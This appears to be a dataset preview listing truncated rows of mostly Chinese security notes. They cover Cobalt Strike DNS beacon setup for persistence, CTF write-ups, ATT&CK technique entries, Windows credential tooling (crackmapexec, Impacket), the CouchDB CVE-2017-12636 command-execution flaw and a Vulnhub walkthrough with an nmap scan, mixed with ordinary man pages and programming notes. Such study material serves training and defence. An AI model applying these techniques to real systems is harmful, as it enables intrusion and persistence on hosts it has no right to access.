DNS Beacon 在绕过防火墙 权限维持上非常有效,DNS beacon http 是最受欢迎的Cobalt Strike功能。
其中原理示意图

当然你如果想很清楚知道这个过程,建议看看DNS的解析过程。
#0x01 DNS Beacon
使用DNS Beacon首先的有一个域名,域名建议用国外的,省去一些不必要的麻烦,域名使用一些通用平常的即可,整个过程配置非常简单一条A记录和几条NS记录
>A记录指向服务器ip >ns记录都指向A记录域名

这里我用的一个国内平台解析做的演示,... | sec-knowleage |
## Notesy (crypto, 100p, 1064 solves)
`http://54.152.6.70/
The flag is not in the flag{} format.
HINT: If you have the ability to encrypt and decrypt, what do you think the flag is?
HINT: https://www.youtube.com/watch?v=68BjP5f0ccE`
### PL Version
`for ENG version scroll down`
Pod wskazanym adresem znajduje się strona ... | sec-knowleage |
ping
===
测试主机之间网络的连通性(ipv4)
## 补充说明
**ping命令** 用来测试主机之间网络的连通性。执行ping指令会使用ICMP传输协议,发出要求回应的信息,若远端主机的网络功能没有问题,就会回应该信息,因而得知该主机运作正常。
### 语法
```shell
ping (选项) (参数)
```
### 选项
```shell
-d:使用Socket的SO_DEBUG功能;
-c<完成次数>:设置完成要求回应的次数;
-f:极限检测;
-i<间隔秒数>:指定收发信息的间隔时间;
-I<网络界面>:使用指定的网络界面送出数据包;
-l<前置载入>:设置在送出要求信息之前,先行发出的数据包;
-n:只输出... | sec-knowleage |
# 计算机组成
> 注 : 笔记中拓扑图 drawio 源文件在其图片目录下
---
# 计算机工作流程
- 存储器:用于存储数据并在需要时提供数据
- 外部存储器:硬盘、光盘等等
- 内部存取器:
- RAM:内存条
- ROM:BIOS 芯片
- CPU
- 运算器 :对数据进行各种算术运算和逻辑运算,即对数据进行加工处理
- 控制器 :完成协调和指挥整个计算机系统的操作
---
## CPU
CPU 的核心是从程序或应用程序获取指令并执行计算。此过程可以分为三个关键阶段:提取,解码和执行。
CPU 从系统的 RAM 中提取指令,然后解码该指令的实际内容,然后再由 ... | sec-knowleage |
# SHA1
## 基本描述
SHA1的输入输出如下
- 输入:任意长的消息,分为 **512 比特**长的分组。首先在消息右侧补比特 1,然后再补若干个比特 0,直到消息的比特长度满足对 512 取模后余数是 448,使其与 448 模 512 同余。
- 输出:160 比特的消息摘要。
关于详细的介绍,请自行搜索。
一般来说,我们可以通过函数的初始化来判断是不是 SHA1 函数。一般来说,如果一个函数有如下五个初始化的变量,可以猜测该函数为 SHA1 函数,因为这是 SHA1 函数的初始化IV。
```
0x67452301
0xEFCDAB89
0x98BADCFE
0x10325476
0xC3D2E1F0
```
前面四个... | sec-knowleage |
# Petshop Pro
## [Flag0](./flag0) -- Found
- Something looks out of place with checkout
- It's always nice to get free stuff
## [Flag1](./flag1) -- Found
- There must be a way to administer the app
- Tools may help you find the entrypoint
- Tools are also great for finding credentials
## [Flag2](./flag2) -- Found
- Alw... | sec-knowleage |
### 虚拟机分析概述
有关虚拟机分析部分, 我们以一道简单的crackme来进行讲解.
对应的`crackme`可以点击此处下载: [FuelVM.exe](https://github.com/ctf-wiki/ctf-challenges/blob/master/reverse/vm/fuelvm/FuelVM.exe)
对应的`keygenme`可以点击此处下载: [fuelvm_keygen.py](https://github.com/ctf-wiki/ctf-challenges/blob/master/reverse/vm/fuelvm/fuelvm_keygen.py)
对应的`IDA数据库`可以点击此处下载: ... | sec-knowleage |
# T1105-win-入口工具转移-CertReq.exe(白名单)
## 来自ATT&CK的描述
攻击者可能会将工具或其他文件从外部系统转移到被攻击的环境中。可以通过命令和控制通道从外部攻击者控制的系统复制文件,用以将工具带入被攻击的网络中,或通过其他工具(如 FTP)的替代协议。 也可以使用 scp、rsync 和 sftp等本地工具在Mac和 Linux上复制文件。
## 测试案例
CertReq.exe用于从证书颁发机构请求证书 (CA) ,从CA检索对以前的请求的响应,从.inf文件创建新请求,以接受和安装对请求的响应,以从现有CA证书或请求构造交叉认证或限定的次序请求, 并签署交叉认证或限定的下级请求。
**路径:**... | sec-knowleage |
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "DROP OPERATOR" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
DROP OPERATOR \- 删除一个操作符
.SH SYNOPSIS
.sp
.nf
DROP OPERATOR \fIname\fR ( \fIlefttype\fR | NONE , \fIrighttype\fR | NONE ) [ CASCADE | RESTRICT ]
.sp
.fi
.SH "DESCRIPTION 描述"
.... | sec-knowleage |
# Windows - Using credentials
## Summary
* [Get credentials](#get-credentials)
* [Create your credential](#create-your-credential)
* [Guest Credential](#guest-credential)
* [Retail Credential](#retail-credential)
* [Sandbox Credential](#sandbox-credential)
* [Crackmapexec](#crackmapexec)
* [Impacket](#i... | sec-knowleage |
# PNGBomb (misc, 475p, 6 solved)
In this challenge we get a [png file](q.png.gz) which contains a very wide picture with 32 pixels height, which is supposed to be a barcode.
However it's too big to open with anything, or process in any reasonable way.
It's pretty clear from the contents of the file, that there are lots... | sec-knowleage |
.\" Copyright (c) 1993 Michael Haardt (michael@moria.de)
.\" Created Fri Apr 2 11:32:09 MET DST 1993
.\"
.\" %%%LICENSE_START(GPLv2+_DOC_FULL)
.\" This is free documentation; you can redistribute it and/or
.\" modify it under the terms of the GNU General Public License as
.\" published by the Free Software Foundation; ... | sec-knowleage |
# 数据库连接池
---
jdbc,在每次连接数据库的时候都需要去重新建立对象。可以使用一个连接池,每次使用完后归还给连接池。
## 连接池概述
连接池其实就是一个容器(集合),存放数据库连接的容器。
当系统初始化好后,容器被创建,容器中会申请一些连接对象,当用户来访问数据库时,从容器中获取连接对象,用户访问完之后,会将连接对象归还给容器。
使用连接池能节约资源使用户访问高效。
数据库连接池是一种复用 Connection 的组件,它可以避免反复创建新连接,提高 JDBC 代码的运行效率;
---
## 连接池实现
### C3P0
- https://sourceforge.net/projects/c3p0/
**maven**... | sec-knowleage |
```
Find the private key and decrypt the secret inside the picture
material.grandprix.whitehatvn.com/misc02
MD5: 2cad267bb17d5f31551c0d8713e41a77
Hint:
saintgiong.jpg.pgp
outguess
```
After mounting the ISO file `Hacker.iso`, we can start looking for interesting files.
Let's try to find the file from first hint.
```
$ ... | sec-knowleage |
# Couchdb 任意命令执行漏洞(CVE-2017-12636)
Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。
在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置... | sec-knowleage |
# Writeup Sharif CTF 2016
Team: c7f.m0d3, msm, other019, nazywam, shalom, akrasuski1
### Table of contents
* [Rail Dence Cipher (Crypto) 50](crypto_50_railfence)
* [URE (Crypto) 100](crypto_100_ure)
* [High-speed RSA Keygen (Crypto) 150](crypto_150_keygen)
* [Hail Zeus (Crypto) 300](crypto_300_zeus)
* [dMd (Reverse) 50... | sec-knowleage |
# Troll 1
> https://download.vulnhub.com/tr0ll/Tr0ll.rar
靶场IP:`192.168.32.172`

扫描对外端口
```
┌──(root💀kali)-[~/Desktop]
└─# nmap -p 1-65535 192.168.32.172 ... | sec-knowleage |
# Leavenworth Street [142 points] (24 solves)
> A twisty path beckons, will you find your way?
along with the challenge description we also got a docker image with deno and an executable:
```
chall/bin/leavenworth: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-... | sec-knowleage |
## React获取DOM节点
### 原生方法
利用原生方法中抓取DOM节点的方法,例如`getElementById`,`querySelector`等
```
import React from 'react'
class RefDemo extends React.Component{
handleClick(){
document.getElementsByTagName('p')[0].style.color = 'red'
}
render(){
return(
<div>
<p>哈哈哈</p>
<input type='button' value... | sec-knowleage |
# T1586-001-盗取账户-社交媒体账户
## 来自ATT&CK的描述
攻击者可能会盗取社交媒体账户,这些账户可以在攻击目标过程中使用。对于包含社会工程的行动,利用在线角色很重要。与其创建和培养社交媒体档案(即社交媒体账户),攻击者可能会盗用现有的社交媒体账户。如果潜在的受害者与被攻击的目标有关系,或者知道被攻击的目标的情况,那么利用现有的角色可以使他们产生一定程度的信任。
盗取社交媒体账户的方法有很多,比如通过钓鱼网站收集信息,从第三方网站购买信息,或者通过暴力破解信息(例如:从泄露的信息转储中重复使用密码,简单理解:就是撞库)在盗用社交媒体账户之前,攻击者可能会进行侦察,以决定破坏哪些账户来推进其行动。
社交媒体账户(角色... | sec-knowleage |
**Authors**: < [nixawk](https://github.com/nixawk) >
----
# Information Gathering - Linux
## System Architecture
|**Command**|**Description**|
|:----------|:--------------|
|uname -a|The **uname** command reports basic information about a computer's software and hardware.|
|cat /etc/issue|The file **/etc/issue** is a t... | sec-knowleage |
# IDA 动态调试原生层程序
这里我们会介绍如何调试以下种类的程序
- 基本的原生层程序,即简单的 C/C++ 程序。
- 原生 so 程序
## 必备工具
- **已经root的手机**
- IDA
## 基本原理
在使用 ida 动态调试原生层程序时,主要会使用到 android_server 程序。该程序会使用 ptrace 技术注入到要调试的程序中。
每一个进程都有一个 status 文件,其中有一字段 TracerPid 用来标识该进程是被哪个进程 ptrace 了。如果没有被其他进程 ptrace,那么就返回 0,否则返回对应进程的 pid。
## 基本环境搭建
无论是调试什么原生层程序,基本的环境搭建都是类似的,需要... | sec-knowleage |
# Mysql
> shodan : "product:MySQL"
> fofa : app="Oracle-MySQL"
**描述**
MySQL 是一个关系型数据库管理系统,由瑞典 MySQL AB 公司开发,目前属于 Oracle 公司。MySQL 是一种关联数据库管理系统,MySQL 的 SQL 语言是用于访问数据库的最常用标准化语言。MySQL 软件采用了双授权政策,它分为社区版和商业版,一般中小型网站的开发选择 MySQL 作为网站数据库。
**Mysql 基础**
- [Mysql](../../../../Integrated/数据库/笔记/Mysql.md)
**Mysql 注入**
- [Mysql数据库注入笔... | sec-knowleage |
lscpu
===
显示有关CPU架构的信息
## 补充说明
**lscpu命令** 是显示有关CPU架构的信息。
### 语法
```shell
lscpu [选项]
```
### 选项
```shell
-a, --all # 打印在线和离线CPU(默认为-e)
-b, --online # 仅打印在线CPU(-p的默认值)
-c, --offline # 打印离线CPU
-e, --extended[=<list>] # 打印出一个扩展的可读格式
-p, --parse[=<list>] # 打印出可解析的格式
-s, --sysro... | sec-knowleage |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.